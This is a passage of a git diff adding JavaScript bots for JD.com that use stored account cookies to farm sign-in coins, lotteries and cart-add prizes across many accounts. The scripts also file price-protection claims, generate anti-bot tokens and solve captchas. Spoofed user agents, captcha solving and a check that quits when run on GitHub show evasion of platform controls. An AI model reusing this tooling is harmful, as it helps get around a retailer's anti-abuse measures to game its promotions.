"appId": appId, + "use": $.UserName + }) + } + } + } else { + console.log(`【${vo.taskName}】已完成\n`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function harmony_collectScore(body = {}, taskType = '') { + return new Promise(resolve => { + $.post(taskUrl('harmony_collectScore', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} collectScore API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.data && data.data.bizCode === 0) { + if (taskType === 13) { + console.log(`签到成功:获得${data.data.result.score}金币\n`) + } else if (body.taskId == 6) { + console.log(`助力成功:您的好友获得${data.data.result.score}金币\n`) + } else { + console.log(`完成任务:获得${data.data.result.score}金币\n`) + } + } else { + if (taskType === 13) { + console.log(`签到失败:${data.data.bizMsg}\n`) + } else if (body.taskId == 6) { + console.log(`助力失败:${data.data.bizMsg || data.msg}\n`) + if (data.code === -30001 || (data.data && data.data.bizCode === 108)) $.canHelp = false + if (data.data.bizCode === 103) $.delcode = true + } else { + console.log(body.actionType === "0" ? `完成任务失败:${data.data.bizMsg}\n` : data.data.bizMsg) + if (data.data.bizMsg === "任务已完成") $.complete = true; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interact_template_getLotteryResult() { + return new Promise(resolve => { + $.post(taskUrl('interact_template_getLotteryResult', {"appId":appId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getLotteryResul API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userAwardsCacheDto = data && data.data && data.data.result && data.data.result.userAwardsCacheDto; + if (userAwardsCacheDto) { + if (userAwardsCacheDto.type === 2) { + console.log(`抽中:${userAwardsCacheDto.jBeanAwardVo.quantity}${userAwardsCacheDto.jBeanAwardVo.ext || `京豆`}`); + } else if (userAwardsCacheDto.type === 0) { + console.log(`很遗憾未中奖~`) + } else if (userAwardsCacheDto.type === 1) { + console.log(`抽中:${userAwardsCacheDto.couponVo.prizeName},金额${userAwardsCacheDto.couponVo.usageThreshold}-${userAwardsCacheDto.couponVo.quota},使用时间${userAwardsCacheDto.couponVo.useTimeRange}`); + } else { + console.log(`抽中:${JSON.stringify(data)}`); + message += `抽中:${JSON.stringify(data)}\n`; + } + } else { + $.canLottery = false + console.log(`此活动已黑,无法抽奖\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4FdmTJQNah9oDJyQN8NggvRi1nEY/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_work_price.js b/jd_work_price.js new file mode 100644 index 0000000..2e2952f --- /dev/null +++ b/jd_work_price.js @@ -0,0 +1,163 @@ +let common = require("./function/common"); +let jsdom = require("jsdom"); +let $ = new common.env('京东保价'); +let min = 1, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + 'referer': 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w', + } +}); +$.readme = ` +48 */8 * * * task ${$.runfile} +export ${$.runfile}=1 #输出购买订单保价内容,没什么用 +` +eval(common.eval.mainEval($)); +async function prepare() {} +async function main(id) { + try { + await jstoken() + // 一键保价 + p = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_skuOnceApply&forcebot=&t=${$.timestamp}`, + "form": { + "body": JSON.stringify({ + sid: '', + type: 3, + forcebot: '', + token: $.token, + feSt: 's' + }) + } + }; + h = await $.curl(p) + console.log(h) + console.log("等待20s获取保价信息") + await $.wait(20000) + // 获取保价信息 + let p2 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_appliedSuccAmount&forcebot=&t=${$.timestamp}`, + // 'form': { + // 'body': `"{\"sid\":\"\",\"type\":\"3\",\"forcebot\":\"\"}"` + // } + 'form': 'body={"sid":"","type":"3","forcebot":"","num":15}' + } + await $.curl(p2) + if ($.source.flag) { + text = `本次保价金额: ${$.source.succAmount}` + } else { + text = "本次无保价订单" + } + console.log(text) + $.notice(text) + if ($.config[$.runfile]) { + // 单个商品检测,没什么用处 + console.log("\n手动保价前25个订单") + html = '' + for (let i = 1; i < 6; i++) { + await jstoken() + p3 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_priceskusPull&forcebot=&t=${$.timestamp}`, + 'form': { + 'body': JSON.stringify({ + "page": i, + "pageSize": 5, + "keyWords": "", + "sid": "", + "type": "3", + "forcebot": "", + "token": $.token, + "feSt": "s" + }) + } + } + html += await $.curl(p3) + } + amount = $.matchall(/class="name"\>\s*([^\<]+).*?orderId="(\d+)"\s*skuId="(\d+)"/g, html.replace(/\n/g, '')) + for (let i of amount) { + // 获取有无申请按钮 + p4 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_skuProResultPin&forcebot=&t=${$.timestamp}`, + 'form': { + 'body': JSON.stringify({ + "orderId": i[1], + "skuId": i[2], + "sequence": "1", + "sid": "", + "type": "3", + "forcebot": "" + }) + } + } + h = await $.curl(p4) + if (h.includes("hidden")) { + console.log(`商品: ${i[0]} 不支持保价或无降价`) + } else { + await jstoken() + // 申请请求 + p5 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_proApply&forcebot=&t=${$.timestamp}`, + 'form': { + 'body': JSON.stringify({ + "orderId": i[1], + "orderCategory": "Others", + "skuId": i[2], + "sid": "", + "type": "3", + "refundtype": "1", + "forcebot": "", + "token": $.token, + "feSt": "s" + }) + } + } + await $.curl(p5) + if ($.source.proSkuApplyId) { + // 申请结果 + p6 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_moreApplyResult&forcebot=&t=${$.timestamp}`, + 'form': `body={"proSkuApplyIds":"${$.source.proSkuApplyId[0]}","type":"3"}` + } + await $.curl(p6) + console.log(`商品: ${i[0]} `, $.haskey($.source, 'applyResults.0.applyResultVo.failTypeStr')) + } else { + console.log(`商品: ${i[0]} ${$.source.errorMessage}`) + } + } + } + } + } catch (e) {} +} +async function jstoken() { + let { + JSDOM + } = jsdom; + let resourceLoader = new jsdom.ResourceLoader({ + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", + }); + let virtualConsole = new jsdom.VirtualConsole(); + var options = { + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + runScripts: "dangerously", + resources: resourceLoader, + // cookieJar, + includeNodeLocations: true, + storageQuota: 10000000, + pretendToBeVisual: true, + virtualConsole + }; + $.dom = new JSDOM(``, options); + await $.wait(1000) + try { + feSt = 's' + jab = new $.dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }) + $.token = jab.getToken() + } catch (e) {} +} diff --git a/jd_work_validate.js b/jd_work_validate.js new file mode 100644 index 0000000..e1ea870 --- /dev/null +++ b/jd_work_validate.js @@ -0,0 +1,48 @@ +let common = require("./function/common"); +let $ = new common.env('京东验证码获取'); +let validator = require("./function/jdValidate"); +let fs = require("fs"); +let min = 2, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html?asid=287215626&un_area=12_904_905_57901&lng=117.612969135975&lat=23.94014745198865', + } +}); +$.readme = ` +58 7,15,23 * * * task ${$.runfile} +export ${$.runfile}_limit=5 #限制跑验证码账户个数 +export JDJR_SERVER=ip #如获取不到验证码,本地先获取iv.jd.com的ip,再自行添加环境变量 +` +eval(common.eval.mainEval($)); +async function prepare() { + $.thread = 1; + $.sleep *= 8; + await fs.writeFile('./jdvalidate.txt', '', (error) => { + if (error) return console.log("初始化失败" + error.message); + console.log("初始化成功"); + }) +} +async function main(id) { + let code = new validator.JDJRValidator; + for (let i = 0; i < 2; i++) { + validate = '' + try { + let veri = await code.run(); + if (veri.validate) { + validate = veri.validate; + } + } catch (e) {} + // $.code.push(validate) + if (validate) { + fs.appendFile('./jdvalidate.txt', validate + "\n", (error) => { + if (error) return console.log("追加文件失败" + error.message); + console.log("追加成功"); + }) + } + console.log("验证码", validate) + } + try {} catch (e) {} +} diff --git a/jd_wxCollectionActivity.js b/jd_wxCollectionActivity.js new file mode 100644 index 0000000..5b52168 --- /dev/null +++ b/jd_wxCollectionActivity.js @@ -0,0 +1,552 @@ +/* +https://lzkj-isv.isvjcloud.com/wxgame/activity/8530275?activityId= + +TG https://t.me/duckjobs + +不能并发 + +JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 + +*/ +const $ = new Env('加购物车抽奖'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = '' ,isPush = false; +let activityIdList = ['11b4d4d13fa24062bb0cb45c0abd3301', 'f0ffa62f09f6447b8fcfddaeafd15810', '421c0b9e90f2423d8ef980c2508bc7b2', 'c475a9c7b08545b9b359d1a97f14ec8c', '47d527740de74ed88f65e946b4d0500a', '4363aec53aac44309e8afa5cf58ce950'] +let lz_cookie = {} + +if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { + activityId = process.env.ACTIVITY_ID; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +let doPush = process.env.DoPush || false; // 设置为 false 每次推送, true 跑完了推送 +let removeSize = process.env.JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +let isRemoveAll = process.env.JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 +$.keywords = process.env.JD_CART_KEYWORDS || [] +$.keywordsNum = 0; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // activityIdList = await getActivityIdList('https://raw.githubusercontent.com/FKPYW/dongge/master/code/wxCollectionActivity.json') + for(let a in activityIdList){ + activityId = activityIdList[a]; + console.log("开起第 "+ a +" 个活动,活动id:"+activityId) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + '', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = activityId + $.activityUrl = `https://lzkj-isv.isvjcloud.com/wxCollectionActivity/activity2/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&sid=&un_area=` + $.drawInfoName = false + $.getPrize = null; + await addCart(); + if($.drawInfoName === false || $.getPrize === null){ + break + } else if($.getPrize != null && !$.getPrize.includes("京豆")){ + break + } + await $.wait(2000) + // await requireConfig(); + // do { + // await getCart_xh(); + // $.keywordsNum = 0 + // if($.beforeRemove !== "0"){ + // await cartFilter_xh(venderCart); + // if(parseInt($.beforeRemove) !== $.keywordsNum) await removeCart(); + // else { + // console.log('由于购物车内的商品均包含关键字,本次执行将不删除购物车数据') + // break; + // } + // } else break; + // } while(isRemoveAll && $.keywordsNum !== $.beforeRemove) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + await $.wait(3000) + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function addCart() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=6&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + // await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + if ($.activityContent.drawInfo.name.includes("京豆")) { + $.log("-> 加入购物车") + for(let i in $.activityContent.cpvos){ + await $.wait(1000) + await task('addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&productId=${$.activityContent.cpvos[i].skuId}`) + } + $.log("-> 抽奖") + await $.wait(1000) + await task('getPrize', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + } else { + $.log("未能成功获取到活动信息") + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data.result) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityShopId = data.data.venderId; + break; + case 'activityContent': + $.activityContent = data.data; + $.drawInfoName = $.activityContent.drawInfo.name.includes("京豆") + break; + case 'addCart': + console.log(data.data) + break + case 'getPrize': + console.log(data.data.name) + $.getPrize = data.data.name; + if (doPush === true) { + if (data.data.name) { + message += data.data.name + " " + } + } else { + // await notify.sendNotify($.name, data.data.name, '', `\n`); + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkj-isv.isvjcloud.com/${function_id}` : `https://lzkj-isv.isvjcloud.com/wxCollectionActivity/${function_id}`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 